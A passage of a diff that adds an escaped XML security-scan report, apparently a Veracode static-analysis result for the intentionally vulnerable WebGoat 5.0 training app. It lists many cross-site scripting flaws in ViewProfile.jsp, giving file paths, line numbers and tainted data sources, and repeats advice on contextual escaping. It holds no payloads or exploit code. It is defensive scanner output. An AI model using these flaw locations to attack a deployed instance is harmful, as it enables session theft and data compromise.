+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
